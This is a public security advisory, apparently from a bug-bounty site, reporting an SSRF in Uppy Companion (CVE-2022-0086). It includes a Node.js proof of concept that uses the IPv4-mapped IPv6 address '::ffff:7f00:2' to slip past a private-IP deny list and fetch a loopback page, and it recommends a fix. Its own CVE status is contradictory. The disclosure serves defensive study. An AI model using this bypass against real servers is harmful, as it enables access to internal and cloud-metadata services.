

## Server-Side Request Forgery (SSRF) in transloadit/uppy

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Reported on Dec 30th 2021

### Description

Uppy is vulnerable to SSRF through IPv4-mapped IPv6 addresses -

<https://www.ibm.com/docs/en/zos/2.1.0?topic=addresses-ipv4-mapped-ipv6>

The report at <https://hackerone.com/reports/786956> does not fix it because it uses a easily bypassable deny list in

<https://github.com/transloadit/uppy/blob/main/packages/%40uppy/companion/src/server/helpers/request.js#L28L80>. From my understanding, there are two mechanisms to check if an IP

address is private. `isPrivateIP` and `dnsLookup`, both rely on the `isPrivateIP` to check for private IP address. However, `isPrivateIP` fails to check for IPv4-mapped IPv6 addresses (example:

`::ffff:7f00:2`), which contain a double colon in front that `isPrivateIP` fails to check. `::ffff:7f00:2` translates to `127.0.0.2` but is not detected by `isPrivateIP` or the `dnsLookup` function

You may use a tool to convert any IPv4 address to IPv6 here: <https://iplocation.io/ipv4-to-ipv6/>

### Proof of Concept

I extracted out the key functions, for convenience, let me know if this isn't enough:

```
const request = require('request')
const dns = require('dns')

ip = "::ffff:7f00:2"

function isPrivateIP (ipAddress) {
  let isPrivate = false
  // Build the list of IP prefix for V4 and V6 addresses
  const ipPrefix = []
  // Add prefix for Loopback addresses
  ipPrefix.push('127.')
  ipPrefix.push('0.')
  // Add IP V4 prefix for private addresses
  // See https://en.wikipedia.org/wiki/Private_network
```

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```

// See https://en.wikipedia.org/wiki/Private\_network
ipPrefix.push('10.')
ipPrefix.push('172.16.')
ipPrefix.push('172.17.')
ipPrefix.push('172.18.')
ipPrefix.push('172.19.')
ipPrefix.push('172.20.')
ipPrefix.push('172.21.')
ipPrefix.push('172.22.')
ipPrefix.push('172.23.')
ipPrefix.push('172.24.')
ipPrefix.push('172.25.')
ipPrefix.push('172.26.')
ipPrefix.push('172.27.')
ipPrefix.push('172.28.')
ipPrefix.push('172.29.')
ipPrefix.push('172.30.')
ipPrefix.push('172.31.')
ipPrefix.push('192.168.')
ipPrefix.push('169.254.')
// Add IP V6 prefix for private addresses
// See https://en.wikipedia.org/wiki/Unique\_Local\_address
// See https://en.wikipedia.org/wiki/Private\_network
// See https://simplifiedns.com/private-ipv6
ipPrefix.push('fc')
ipPrefix.push('fd')
ipPrefix.push('fe')
ipPrefix.push('ff')
ipPrefix.push('::1')
// Verify the provided IP address
// Remove whitespace characters from the beginning/end of the string
// and convert it to lower case
// Lower case is for preventing any IPV6 case bypass using mixed case
// depending on the source used to get the IP address
const ipToVerify = ipAddress.trim().toLowerCase()
// Perform the check against the list of prefix
for (const prefix of ipPrefix) {
  if (ipToVerify.startsWith(prefix)) {
    isPrivate = true
    break
  }
}

```

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```

    }

    return isPrivate
}

// Mechanism 1 - IP itself
console.log(isPrivateIP(ip))

// Mechanism 2 - DNS Lookup
dns.lookup(ip, (err, address, family) => {
    console.log('address: %j family: IPv%s', address, family);
    console.log(isPrivateIP(address))
});

// This goes to localhost
request('http://[' + ip + ']', function (error, response, body) {
    console.error('error:', error); // Print the error if one occurred
    console.log('statusCode:', response && response.statusCode); // Print the
    console.log('body:', body); // Print the HTML for the Google homepage.
});

```

The output:

```

isPrivateIP says its public
address: "::ffff:7f00:2" family: IPv6
dnsLookup says its public
body:
[request body of http://127.0.0.2]

```

## Impact

This vulnerability is capable of SSRF to any IP address, including private and cloud IP address.

## Recommended Fix

The <https://www.npmjs.com/package/ipaddr.js/> package can be used to determine if an address is public or private instead of trying to catch all possible private IP addresses.

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```
var ipAddr = require('ipaddr.js')

// BAD
console.log(ipAddr.parse("127.0.0.1").range())
console.log(ipAddr.parse("192.168.0.1").range())
console.log(ipAddr.parse("::ffff:7f00:2").range())
console.log(ipAddr.parse("fd12:3456:789a:1::1").range())

// GOOD
console.log(ipAddr.parse("142.251.12.138").range())
console.log(ipAddr.parse("2600::").range())
```

unicast = good.

```
loopback
private
ipv4Mapped
uniqueLocal
unicast
unicast
```

## References

- [Test IPv4-mapped IPv6 address](#)

CVE  
CVE-2022-0086  
(Published)

Vulnerability Type  
CWE-918: Server-Side Request Forgery (SSRF)

Severity  
High (8.2)

Visibility  
Public

Status  
Fixed

Found by

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**haxatron**

@haxatron

pro ▼

This report was seen 574 times.

We are processing your report and will contact the **transloadit/uppy** team within 24 hours.  
a year ago

**haxatron** modified the report a year ago

**haxatron** modified the report a year ago

**haxatron** modified the report a year ago

**haxatron** modified the report a year ago

**haxatron** modified the report a year ago

We have contacted a member of the **transloadit/uppy** team and are waiting to hear back  
a year ago

We have sent a follow up to the **transloadit/uppy** team. We will try again in 7 days. a year ago

**Mikael Finstad** validated this vulnerability a year ago

**haxatron** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

**Mikael Finstad** marked this as fixed in **2.3.3** with commit **fc137e** a year ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

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